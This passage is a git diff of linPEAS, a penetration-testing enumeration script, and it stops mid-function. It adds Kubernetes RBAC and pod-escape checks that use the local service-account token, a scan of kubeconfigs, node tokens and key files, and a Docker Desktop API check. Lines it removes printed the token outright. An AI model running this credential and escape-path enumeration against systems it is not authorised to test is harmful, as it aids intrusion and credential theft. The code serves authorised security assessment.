& Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh index 8712c21e..01b8e18e 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh @@ -17,7 +17,22 @@ print_2title "Container details" "T1613,T1611" print_list "Is this a container? ...........$NC $containerType" has_runtime_cli() { - command -v "$1" >/dev/null 2>&1 + command -v "$1" >/dev/null 2>&1 || return 1 + + # Ubuntu's lxd-installer owns an lxc shim that installs the LXD snap on use. + # Do not execute it during enumeration, even for a version check. + if [ "$1" = "lxc" ] && command -v dpkg-query >/dev/null 2>&1; then + case "$(command -v lxc)" in + /sbin/lxc|/usr/sbin/lxc) + # dpkg may record /sbin/lxc while PATH resolves /usr/sbin/lxc. + if dpkg-query -S /sbin/lxc /usr/sbin/lxc 2>/dev/null | grep -q '^lxd-installer:'; then + return 1 + fi + ;; + esac + fi + + return 0 } print_runtime_info() { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh index d7955877..b5087ae7 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh @@ -6,7 +6,7 @@ # License: GNU GPL # Version: 1.0 # Mitre: T1613 -# Functions Used: checkDockerRootless, checkDockerVersionExploits, containerCheck, enumerateDockerSockets, inDockerGroup, print_2title, print_list +# Functions Used: checkDockerRootless, checkDockerVersionExploits, containerCheck, enumerateDockerDesktopAPI, enumerateDockerSockets, inDockerGroup, print_2title, print_list # Global Variables: $containerType, $DOCKER_GROUP, $DOCKER_ROOTLESS, $dockerVersion, $inContainer, $VULN_CVE_2019_5736, $VULN_CVE_2019_13139, $VULN_CVE_2021_41091 # Initial Functions: containerCheck # Generated Global Variables: @@ -29,6 +29,8 @@ if echo "$containerType" | grep -qi "docker"; then if [ "$inContainer" ]; then checkDockerRootless print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," + print_list "Checking Docker Desktop internal Engine API (CVE-2025-9074):\n"$NC + enumerateDockerDesktopAPI echo "" fi if df -h | grep docker; then diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh index 40559b06..4efd04d6 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh @@ -1,22 +1,22 @@ # Title: Container - Container & breakout enumeration # ID: CT_Container_breakout -# Author: Carlos Polop -# Last Update: 21-03-2026 -# Description: Enumerate container hardening, breakout surfaces, runtime exposure, and high-impact escape vectors from inside a container. +# Author: Carlos Polop, HT Bot +# Last Update: 25-09-2026 +# Description: Enumerate container hardening, breakout surfaces, runtime exposure, Kubernetes RBAC, and high-impact escape vectors from inside a container. # License: GNU GPL # Version: 1.0 # Mitre: T1611 # Functions Used: checkContainerExploits, checkProcSysBreakouts, containerCheck, enumerateDockerSockets, print_2title, print_3title, print_info, print_list, warn_exec -# Global Variables: $binfmt_misc_breakout, $containercapsB, $containerType, $core_pattern_breakout, $debugfs_present, $debugfs_readable, $dev_mounted, $efi_efivars_writable, $efi_vars_writable, $GREP_IGNORE_MOUNTS, $inContainer, $kallsyms_readable, $kcore_readable, $kmem_readable, $kmem_writable, $kmsg_readable, $mem_readable, $mem_writable, $modprobe_binary, $modprobe_config_writable, $mountinfo_readable, $panic_on_oom_dos, $panic_sys_fs_dos, $proc_configgz_readable, $proc_keys_readable, $proc_mounted, $proc_timer_list_readable, $release_agent_breakout1, $release_agent_breakout2, $release_agent_breakout3, $run_unshare, $sched_debug_readable, $security_present, $security_writable, $self_mem_readable, $sys_firmware_readable, $sysreq_trigger_dos, $thermal_present, $thermal_readable, $uevent_helper_breakout, $vmcoreinfo_readable, $VULN_CVE_2019_5021 +# Global Variables: $binfmt_misc_breakout, $containercapsB, $containerType, $core_pattern_breakout, $debugfs_present, $debugfs_readable, $dev_mounted, $efi_efivars_writable, $efi_vars_writable, $EXTRA_CHECKS, $GREP_IGNORE_MOUNTS, $inContainer, $kallsyms_readable, $kcore_readable, $kmem_readable, $kmem_writable, $kmsg_readable, $mem_readable, $mem_writable, $modprobe_binary, $modprobe_config_writable, $mountinfo_readable, $panic_on_oom_dos, $panic_sys_fs_dos, $proc_configgz_readable, $proc_keys_readable, $proc_mounted, $proc_timer_list_readable, $release_agent_breakout1, $release_agent_breakout2, $release_agent_breakout3, $run_unshare, $sched_debug_readable, $security_present, $security_writable, $self_mem_readable, $sys_firmware_readable, $sysreq_trigger_dos, $thermal_present, $thermal_readable, $uevent_helper_breakout, $vmcoreinfo_readable, $VULN_CVE_2019_5021 # Initial Functions: containerCheck -# Generated Global Variables: $container_breakout_tools, $containerd_version, $defautl_docker_caps, $gid_map_value, $host_process_count, $host_process_indicators, $no_new_privs_num, $proc_comm, $root_mount_mode, $runc_version, $seccomp_mode_desc, $seccomp_mode_num, $selinux_context, $selinux_status, $setgroups_value, $tool, $uid_map_value +# Generated Global Variables: $container_breakout_tools, $containerd_version, $defautl_docker_caps, $gid_map_value, $host_process_count, $host_process_indicators, $k8s_api_base, $k8s_api_host, $k8s_can_create_pods, $k8s_can_exec_pods, $k8s_can_list_pods, $k8s_can_proxy_nodes, $k8s_can_read_secrets, $k8s_can_request_tokens, $k8s_chain_risk, $k8s_host_mounts, $k8s_namespace, $k8s_pod_name, $k8s_pod_json, $k8s_pod_risks, $k8s_sa_ca, $k8s_sa_dir, $k8s_sa_token, $k8s_service_account, $k8s_ssrr_request, $k8s_ssrr_response, $k8s_ssrr_rules, $k8s_token_payload, $k8s_token_payload_b64, $no_new_privs_num, $proc_comm, $root_mount_mode, $runc_version, $seccomp_mode_desc, $seccomp_mode_num, $selinux_context, $selinux_status, $setgroups_value, $tool, $uid_map_value # Fat linpeas: 0 # Small linpeas: 0 if [ "$inContainer" ]; then echo "" print_2title "Container & breakout enumeration" "T1611" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/container-security/index.html" + print_info "https://book.hacktricks.wiki/en/linux-hardening/containers-namespaces/container-security/index.html" # Basic container info print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')" @@ -148,7 +148,7 @@ if [ "$inContainer" ]; then # Mount, procfs and sysfs escape surfaces print_3title "Mount, procfs & sysfs surfaces" "T1611" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/container-security/sensitive-host-mounts.html" + print_info "https://book.hacktricks.wiki/en/linux-hardening/containers-namespaces/container-security/sensitive-host-mounts.html" checkProcSysBreakouts root_mount_mode="$(awk '$5=="/"{print $6; exit}' /proc/self/mountinfo 2>/dev/null | cut -d',' -f1)" @@ -183,7 +183,7 @@ if [ "$inContainer" ]; then # Capability checks print_3title "Capability Checks" "T1611" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/container-security/protections/capabilities.html" + print_info "https://book.hacktricks.wiki/en/linux-hardening/containers-namespaces/container-security/protections/capabilities.html" print_list "Dangerous capabilities ......... "$NC if [ "$(command -v capsh || echo -n '')" ]; then @@ -208,7 +208,7 @@ if [ "$inContainer" ]; then # Namespace checks. From inside a container we often cannot prove host namespace sharing directly, # so prefer raw namespace handles and practical indicators over misleading "host namespace = yes/no" guesses. print_3title "Namespaces & sharing indicators" "T1611" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/container-security/protections/namespaces/index.html" + print_info "https://book.hacktricks.wiki/en/linux-hardening/containers-namespaces/container-security/protections/namespaces/index.html" print_list "Current namespaces ............. "$NC ls -l /proc/self/ns/ @@ -298,41 +298,164 @@ if [ "$inContainer" ]; then print_list "Container runtime configs .. "$NC (find /etc -name "*.conf" -o -name "*.json" 2>/dev/null | grep -E "docker|containerd|crio|podman|lxc|rkt|kubelet|buildkit|firecracker" || echo "No") | sed -${E} "s,docker|containerd|crio|podman|lxc|rkt|kubelet|buildkit|firecracker,${SED_RED},g" - # Kubernetes specific checks + # Kubernetes-specific checks. API requests are opt-in (-a/-e), read-only, + # short-lived, and never print the projected bearer token. if echo "$containerType" | grep -qi "kubernetes"; then - print_3title "Kubernetes Specific Checks" "T1611" + print_3title "Kubernetes container escape checks" "T1611" print_info "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html" - - print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" - print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" - - print_list "Kubernetes service account folder" | sed -${E} "s,.*,${SED_RED}," - ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null - - print_list "Kubernetes env vars" | sed -${E} "s,.*,${SED_RED}," - (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=" - - print_list "Current sa user k8s permissions" | sed -${E} "s,.*,${SED_RED}," - kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ - "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ - -X 'POST' -H 'Content-Type: application/json' \ - --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED}," - - # Additional Kubernetes checks - print_list "Kubernetes API server ...... "$NC - (curl -s -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/version 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," - - print_list "Kubernetes secrets ......... "$NC - (kubectl get secrets 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," - - print_list "Kubernetes pods ............ "$NC - (kubectl get pods 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," - - print_list "Kubernetes services ........ "$NC - (kubectl get services 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," - - print_list "Kubernetes nodes ........... "$NC - (kubectl get nodes 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," + + k8s_sa_dir="" + for k8s_sa_dir in /var/run/secrets/kubernetes.io/serviceaccount /run/secrets/kubernetes.io/serviceaccount /secrets/kubernetes.io/serviceaccount; do + if [ -r "$k8s_sa_dir/token" ]; then break; fi + done + k8s_sa_token="$k8s_sa_dir/token" + k8s_sa_ca="$k8s_sa_dir/ca.crt" + k8s_namespace="$(cat "$k8s_sa_dir/namespace" 2>/dev/null)" + k8s_pod_name="" + k8s_service_account="" + + # Bound service-account tokens contain pod and service-account names in + # their local JWT payload. Decode only the payload and never display it. + if [ -r "$k8s_sa_token" ] && command -v base64 >/dev/null 2>&1; then + k8s_token_payload_b64="$(cut -d. -f2 < "$k8s_sa_token" 2>/dev/null | tr '_-' '/+')" + case $((${#k8s_token_payload_b64} % 4)) in + 2) k8s_token_payload_b64="${k8s_token_payload_b64}==" ;; + 3) k8s_token_payload_b64="${k8s_token_payload_b64}=" ;; + esac + k8s_token_payload="$(printf "%s" "$k8s_token_payload_b64" | base64 -d 2>/dev/null)" + k8s_pod_name="$(printf "%s" "$k8s_token_payload" | grep -o '"pod"[[:space:]]*:[[:space:]]*{[^}]*}' | sed -n 's/.*"name"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' | head -n 1)" + k8s_service_account="$(printf "%s" "$k8s_token_payload" | grep -o '"serviceaccount"[[:space:]]*:[[:space:]]*{[^}]*}' | sed -n 's/.*"name"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' | head -n 1)" + if [ -z "$k8s_service_account" ]; then + k8s_service_account="$(printf "%s" "$k8s_token_payload" | sed -n 's/.*"sub"[[:space:]]*:[[:space:]]*"system:serviceaccount:[^:"]*:\([^"]*\)".*/\1/p')" + fi + k8s_token_payload="" + k8s_token_payload_b64="" + fi + if [ -z "$k8s_pod_name" ]; then k8s_pod_name="$(hostname 2>/dev/null)"; fi + + print_list "Namespace ...................... ${k8s_namespace:-unknown}\n" + print_list "Pod name ....................... ${k8s_pod_name:-unknown}\n" + if [ -r "$k8s_sa_token" ]; then + print_list "Projected API token ............ present and readable (contents suppressed)\n" | sed -${E} "s,present and readable,${SED_RED_YELLOW}," + else + print_list "Projected API token ............ not readable\n" | sed -${E} "s,not readable,${SED_GREEN}," + fi + if [ -r "$k8s_sa_ca" ]; then + print_list "Projected cluster CA ........... present and readable\n" + else + print_list "Projected cluster CA ........... not readable\n" + fi + + k8s_api_host="${KUBERNETES_SERVICE_HOST:-}" + case "$k8s_api_host" in *:*) k8s_api_host="[$k8s_api_host]" ;; esac + if [ "$k8s_api_host" ]; then + k8s_api_base="https://${k8s_api_host}:${KUBERNETES_SERVICE_PORT_HTTPS:-443}" + print_list "Cluster API endpoint ........... $k8s_api_base\n" + else + k8s_api_base="" + print_list "Cluster API endpoint ........... unknown\n" + fi + + k8s_host_mounts="$(awk '$4=="/" && ($5=="/host" || $5=="/rootfs" || $5=="/mnt/host") {print $5 " (" $6 ")"}' /proc/self/mountinfo 2>/dev/null)" + print_list "Possible host-root mounts ...... "$NC + if [ "$k8s_host_mounts" ]; then + printf "%s\n" "$k8s_host_mounts" | sed -${E} "s,.*,${SED_RED}&," + else + echo "None at common mount points" + fi + + k8s_can_create_pods="Unknown" + k8s_can_exec_pods="Unknown" + k8s_can_list_pods="Unknown" + k8s_can_proxy_nodes="Unknown" + k8s_can_read_secrets="Unknown" + k8s_can_request_tokens="Unknown" + k8s_pod_risks="" + k8s_chain_risk="" + + if [ "$dev_mounted" = "Yes" ]; then k8s_pod_risks="${k8s_pod_risks}hostDevices "; fi + if command -v capsh >/dev/null 2>&1 && capsh --print 2>/dev/null | grep '^Current:' | grep -qw 'cap_sys_admin'; then + k8s_pod_risks="${k8s_pod_risks}CAP_SYS_ADMIN " + fi + + if [ "$EXTRA_CHECKS" ] && command -v curl >/dev/null 2>&1 && [ -r "$k8s_sa_token" ] && [ -r "$k8s_sa_ca" ] && [ "$k8s_api_base" ] && [ "$k8s_namespace" ]; then + k8s_api_curl() { + printf 'header = "Authorization: Bearer %s"\n' "$(tr -d '\r\n' < "$k8s_sa_token")" | + curl -sS --connect-timeout 1 --max-time 3 --cacert "$k8s_sa_ca" --config - "$@" 2>/dev/null + } + k8s_rules_allow() { + printf "%s\n" "$k8s_ssrr_rules" | + grep -E "\"resources\"[[:space:]]*:[[:space:]]*\[[^]]*\"($1|\\*)\"([[:space:]]*,|[[:space:]]*\])" | + grep -E '"apiGroups"[[:space:]]*:[[:space:]]*\[[^]]*"(\*)?"' | + grep -E "\"verbs\"[[:space:]]*:[[:space:]]*\[[^]]*\"($2)\"" >/dev/null 2>&1 + } + + # SelfSubjectRulesReview evaluates permissions without creating, + # modifying, or requesting any workload or credential. + k8s_ssrr_request="{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$k8s_namespace\"}}" + k8s_ssrr_response="$(k8s_api_curl -X POST -H 'Content-Type: application/json' --data "$k8s_ssrr_request" "$k8s_api_base/apis/authorization.k8s.io/v1/selfsubjectrulesreviews")" + if printf "%s" "$k8s_ssrr_response" | grep -q '"resourceRules"[[:space:]]*:'; then + # ResourceRule JSON objects begin with "verbs" in Kubernetes' + # response. Split them before matching so verbs from one rule + # cannot be combined with resources from another rule. + k8s_ssrr_rules="$(printf "%s" "$k8s_ssrr_response" | tr '\n' ' ' | sed -${E} 's/}[[:space:]]*,[[:space:]]*\{[[:space:]]*"verbs"/}|{"verbs"/g' | tr '|' '\n')" + if k8s_rules_allow "pods" 'create|\*'; then k8s_can_create_pods="Yes"; else k8s_can_create_pods="No"; fi + if k8s_rules_allow "pods/(exec|\\*)" 'create|\*'; then k8s_can_exec_pods="Yes"; else k8s_can_exec_pods="No"; fi + if k8s_rules_allow "pods" 'list|\*'; then k8s_can_list_pods="Yes"; else k8s_can_list_pods="No"; fi + if k8s_rules_allow "nodes/(proxy|\\*)" 'get|\*'; then k8s_can_proxy_nodes="Yes"; else k8s_can_proxy_nodes="No"; fi + if k8s_rules_allow "secrets" 'get|list|watch|\*'; then k8s_can_read_secrets="Yes"; else k8s_can_read_secrets="No"; fi + if k8s_rules_allow "serviceaccounts/token" 'create|\*'; then k8s_can_request_tokens="Yes"; else k8s_can_request_tokens="No"; fi + fi + + # Fetch only this pod to inspect the submitted security context. + if [ "$k8s_pod_name" ]; then + k8s_pod_json="$(k8s_api_curl "$k8s_api_base/api/v1/namespaces/$k8s_namespace/pods/$k8s_pod_name")" + if printf "%s" "$k8s_pod_json" | grep -q '"kind"[[:space:]]*:[[:space:]]*"Pod"'; then + if [ -z "$k8s_service_account" ]; then + k8s_service_account="$(printf "%s" "$k8s_pod_json" | sed -n 's/.*"serviceAccountName"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p')" + fi + if printf "%s" "$k8s_pod_json" | grep -Eq '"hostPID"[[:space:]]*:[[:space:]]*true'; then k8s_pod_risks="${k8s_pod_risks}hostPID "; fi + if printf "%s" "$k8s_pod_json" | grep -Eq '"hostIPC"[[:space:]]*:[[:space:]]*true'; then k8s_pod_risks="${k8s_pod_risks}hostIPC "; fi + if printf "%s" "$k8s_pod_json" | grep -Eq '"hostNetwork"[[:space:]]*:[[:space:]]*true'; then k8s_pod_risks="${k8s_pod_risks}hostNetwork "; fi + if printf "%s" "$k8s_pod_json" | grep -Eq '"privileged"[[:space:]]*:[[:space:]]*true'; then k8s_pod_risks="${k8s_pod_risks}privileged "; fi + if printf "%s" "$k8s_pod_json" | grep -Eq '"allowPrivilegeEscalation"[[:space:]]*:[[:space:]]*true'; then k8s_pod_risks="${k8s_pod_risks}allowPrivilegeEscalation "; fi + if printf "%s" "$k8s_pod_json" | grep -Eq '"add"[[:space:]]*:[[:space:]]*\[[^]]*"SYS_ADMIN"' && ! printf "%s" "$k8s_pod_risks" | grep -q 'CAP_SYS_ADMIN'; then k8s_pod_risks="${k8s_pod_risks}CAP_SYS_ADMIN "; fi + if printf "%s" "$k8s_pod_json" | grep -Eq '"hostPath"[[:space:]]*:[[:space:]]*\{[^}]*"path"[[:space:]]*:[[:space:]]*"/"'; then + k8s_pod_risks="${k8s_pod_risks}hostPath:/ " + elif printf "%s" "$k8s_pod_json" | grep -Eq '"hostPath"[[:space:]]*:[[:space:]]*\{[^}]*"path"[[:space:]]*:[[:space:]]*"/(etc|proc|sys|dev|var/run|var/lib/kubelet)(/|\")'; then + k8s_pod_risks="${k8s_pod_risks}sensitiveHostPath " + elif printf "%s" "$k8s_pod_json" | grep -Eq '"hostPath"[[:space:]]*:[[:space:]]*\{'; then + k8s_pod_risks="${k8s_pod_risks}hostPath " + fi + fi + fi + else + print_list "API permission/pod checks ...... skipped (use -a or -e; requires curl, token and CA)\n" + fi + + print_list "Service account ................ ${k8s_service_account:-unknown}\n" + print_list "RBAC create pods ............... $k8s_can_create_pods\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," | sed -${E} "s,No,${SED_GREEN}," + print_list "RBAC create pods/exec .......... $k8s_can_exec_pods\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," | sed -${E} "s,No,${SED_GREEN}," + print_list "RBAC list pods ................. $k8s_can_list_pods\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," | sed -${E} "s,No,${SED_GREEN}," + print_list "RBAC get nodes/proxy ........... $k8s_can_proxy_nodes\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," | sed -${E} "s,No,${SED_GREEN}," + print_list "RBAC read secrets .............. $k8s_can_read_secrets\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," | sed -${E} "s,No,${SED_GREEN}," + print_list "RBAC create serviceaccounts/token $k8s_can_request_tokens\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," | sed -${E} "s,No,${SED_GREEN}," + print_list "Current pod escape settings .... "$NC + if [ "$k8s_pod_risks" ]; then + printf "%s\n" "$k8s_pod_risks" | sed -${E} "s,.*,${SED_RED}&," + else + echo "None found or pod object is not readable" + fi + + if { [ "$k8s_pod_risks" ] || [ "$k8s_host_mounts" ]; } && { [ "$k8s_can_create_pods" = "Yes" ] || [ "$k8s_can_exec_pods" = "Yes" ]; }; then + k8s_chain_risk="HIGH - dangerous pod/host exposure combined with workload-control RBAC" + elif [ "$k8s_can_create_pods" = "Yes" ] && { [ "$k8s_can_exec_pods" = "Yes" ] || [ "$k8s_can_read_secrets" = "Yes" ] || [ "$k8s_can_request_tokens" = "Yes" ]; }; then + k8s_chain_risk="Dangerous RBAC chain; admission controls still determine privileged-pod creation" + fi + if [ "$k8s_chain_risk" ]; then + print_list "Kubernetes escape chain ........ $k8s_chain_risk\n" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + fi # Interesting files and mounts diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/6_Kubernetes_surfaces.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/6_Kubernetes_surfaces.sh new file mode 100644 index 00000000..b8a29375 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/6_Kubernetes_surfaces.sh @@ -0,0 +1,599 @@ +# Title: Container - Kubernetes surfaces +# ID: CT_Kubernetes_surfaces +# Author: Carlos Polop +# Last Update: 05-10-2026 +# Description: Enumerate local Kubernetes credentials, node mounts, kubelet volumes, and runtime sockets relevant to pod and node privilege escalation. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1613,T1611,T1552.007 +# Functions Used: print_2title, print_3title +# Global Variables: $containerType, $EXTRA_CHECKS +# Initial Functions: containerCheck +# Generated Global Variables: $k8s_aws_bucket, $k8s_cap_eff, $k8s_cap_low, $k8s_cfg, $k8s_cfg_env, $k8s_context_name, $k8s_count, $k8s_current_context, $k8s_dir, $k8s_direct_base, $k8s_direct_ca, $k8s_direct_host, $k8s_direct_port, $k8s_direct_token, $k8s_direct_token_file, $k8s_docker_host, $k8s_file, $k8s_gcs_bucket, $k8s_mount, $k8s_mount_options, $k8s_mount_root, $k8s_namespace, $k8s_node_address, $k8s_node_addresses, $k8s_node_name, $k8s_ns_one, $k8s_ns_self, $k8s_pid, $k8s_probe_host, $k8s_probe_port, $k8s_probe_scheme, $k8s_probe_status, $k8s_rc, $k8s_readable, $k8s_root, $k8s_root_count, $k8s_runc_version, $k8s_socket, $k8s_writable +# Fat linpeas: 0 +# Small linpeas: 0 + +k8s_show_file() { + [ -e "$1" ] || [ -L "$1" ] || return + k8s_readable=no + k8s_writable=no + [ -r "$1" ] && k8s_readable=yes + [ -w "$1" ] && k8s_writable=yes + printf ' %s (readable=%s, writable=%s)\n' "$1" "$k8s_readable" "$k8s_writable" +} + +k8s_has_mounted_node_root() { + [ -r "$1" ] || return 1 + awk '$4 == "/" && $5 != "/" {print $5}' "$1" 2>/dev/null | head -n 100 | + { + while IFS= read -r k8s_root; do + [ -d "$k8s_root/var/lib/kubelet" ] || [ -d "$k8s_root/etc/kubernetes" ] || + [ -d "$k8s_root/etc/rancher/rke2" ] || [ -d "$k8s_root/var/lib/k0s" ] || continue + exit 0 + done + exit 1 + } +} + +k8s_has_kubelet_mount() { + [ -r "$1" ] || return 1 + awk '$4 ~ "^/var/lib/kubelet(/|$)" {found=1; exit} END {exit !found}' "$1" 2>/dev/null +} + +k8s_context_present() { + for k8s_cfg in /home/*/.kube/config; do + [ -f "$k8s_cfg" ] && return 0 + done + [ -n "$KUBERNETES_SERVICE_HOST" ] || + [ -f "$HOME/.kube/config" ] || + [ -f /root/.kube/config ] || + [ -d /var/run/secrets/kubernetes.io/serviceaccount ] || + [ -d /run/secrets/kubernetes.io/serviceaccount ] || + [ -d /secrets/kubernetes.io/serviceaccount ] || + [ -d /var/lib/kubelet/pods ] || + [ -d /etc/kubernetes ] || + [ -d /etc/rancher/k3s ] || + [ -d /etc/rancher/rke2 ] || + [ -d /var/lib/k0s ] || + [ -d /var/snap/microk8s/current/credentials ] || + k8s_has_mounted_node_root /proc/self/mountinfo || + k8s_has_kubelet_mount /proc/self/mountinfo || + [ -n "$(env | sed -n 's/^KUBECONFIG=//p' | head -n 1)" ] || + printf '%s' "$containerType" | grep -qi kubernetes +} + +k8s_scan_kubeconfigs() { + k8s_cfg_env="$(env | sed -n 's/^KUBECONFIG=//p' | head -n 1)" + if [ "$k8s_cfg_env" ]; then + printf '%s\n' "$k8s_cfg_env" | tr ':' '\n' | while IFS= read -r k8s_cfg; do + k8s_show_file "$k8s_cfg" + done + fi + for k8s_cfg in "$HOME/.kube/config" /root/.kube/config /home/*/.kube/config \ + /etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf \ + /etc/kubernetes/bootstrap-kubelet.conf \ + /etc/kubernetes/controller-manager.conf /etc/kubernetes/scheduler.conf \ + /etc/kubernetes/kubeconfig /var/lib/kubelet/kubeconfig \ + /var/lib/kubelet/bootstrap-kubeconfig \ + /var/lib/kubelet/config.yaml /etc/rancher/k3s/k3s.yaml \ + /etc/rancher/k3s/config.yaml /etc/rancher/rke2/rke2.yaml \ + /etc/rancher/rke2/config.yaml \ + /var/lib/rancher/rke2/server/cred/admin.kubeconfig \ + /var/lib/rancher/rke2/server/node-token \ + /var/lib/rancher/rke2/agent/etc/crictl.yaml \ + /var/lib/rancher/k3s/server/node-token /var/lib/k0s/pki/admin.conf \ + /var/snap/microk8s/current/credentials/*.config; do + k8s_show_file "$k8s_cfg" + done + for k8s_dir in /etc/kubernetes/pki /var/lib/kubelet/pki \ + /var/lib/rancher/k3s/server/tls /var/lib/k0s/pki \ + /var/lib/rancher/rke2/server/tls /var/snap/microk8s/current/certs; do + [ -d "$k8s_dir" ] || continue + printf ' Certificate/key directory: %s\n' "$k8s_dir" + find "$k8s_dir" -maxdepth 2 -type f \( -name '*.key' -o -name '*.crt' -o -name '*.pem' \) \ + -print 2>/dev/null | head -n 30 + done + if [ -d /etc/kubernetes/manifests ]; then + echo ' Static pod manifests:' + find /etc/kubernetes/manifests -maxdepth 1 -type f -print 2>/dev/null | head -n 20 + fi + if [ -d /var/lib/rancher/rke2/agent/etc/kubelet.conf.d ]; then + echo ' RKE2 kubelet configuration files:' + find /var/lib/rancher/rke2/agent/etc/kubelet.conf.d -maxdepth 1 -type f \ + -print 2>/dev/null | head -n 20 + fi +} + +k8s_scan_kubelet_config() { + [ -r "$1" ] || return + printf ' Kubelet access settings from %s:\n' "$1" + grep -E '^[[:space:]]*(readOnlyPort|port|address|authentication|anonymous|enabled|authorization|mode|clientCAFile|rotateCertificates|serverTLSBootstrap):' \ + "$1" 2>/dev/null | head -n 25 | sed 's/^/ /' +} + +k8s_scan_pod_volumes() { + [ -d "$1" ] || return + k8s_count=0 + for k8s_dir in "$1"/*/volumes/kubernetes.io~secret/* \ + "$1"/*/volumes/kubernetes.io~projected/*; do + [ -d "$k8s_dir" ] || continue + printf ' %s\n' "$k8s_dir" + ls -A "$k8s_dir" 2>/dev/null | head -n 40 | sed 's/^/ /' + k8s_show_file "$k8s_dir/token" + k8s_count=$((k8s_count + 1)) + [ "$k8s_count" -lt 60 ] || break + done + [ "$k8s_count" -lt 60 ] || echo ' Volume listing stopped at 60 directories' +} + +k8s_scan_host_roots() { + [ -r "$1" ] || return + k8s_root_count=0 + # A host root may be mounted at an arbitrary path. Restrict candidates to + # mounts rooted at / that expose kubelet or Kubernetes directories. + awk '$4 == "/" && $5 != "/" {print $5}' "$1" 2>/dev/null | head -n 100 | + while IFS= read -r k8s_root; do + [ -d "$k8s_root/var/lib/kubelet" ] || [ -d "$k8s_root/etc/kubernetes" ] || + [ 